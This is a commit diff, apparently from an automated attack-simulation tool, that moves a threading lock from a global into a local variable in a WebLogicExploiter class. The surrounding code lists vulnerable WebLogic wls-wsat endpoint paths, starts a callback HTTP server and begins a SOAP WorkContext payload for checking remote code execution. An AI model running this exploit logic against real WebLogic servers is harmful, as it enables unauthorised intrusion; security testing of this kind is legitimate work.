Lock changed from singleton into local variable

This commit is contained in:
Vakaris 2018-08-23 13:58:11 +03:00
parent 8fd42abd5d
commit 8e8422b3b7
1 changed files with 5 additions and 5 deletions

View File

@ -24,8 +24,6 @@ SERVER_TIMEOUT = 4
REQUEST_TIMEOUT = 2
# How long to wait for response in exploitation
EXECUTION_TIMEOUT = 15
# Server might get response faster than it starts listening to it, we need a lock
LOCK = threading.Lock()
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
@ -133,13 +131,15 @@ class WebLogicExploiter(WebRCE):
return
def check_if_exploitable(self, url):
# Server might get response faster than it starts listening to it, we need a lock
lock = threading.Lock()
local_port = get_free_tcp_port()
local_ip = get_interface_to_target(self.host.ip_addr)
httpd = WebLogicExploiter.HTTPServer(local_ip, local_port)
httpd.daemon = True
LOCK.acquire()
lock.acquire()
httpd.start()
LOCK.acquire()
lock.acquire()
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
@ -164,7 +164,7 @@ class WebLogicExploiter(WebRCE):
except Exception as e:
LOG.error("Something went wrong: %s" % e)
LOCK.release()
lock.release()
httpd.join(SERVER_TIMEOUT)
httpd.stop()
if httpd.get_requests > 0: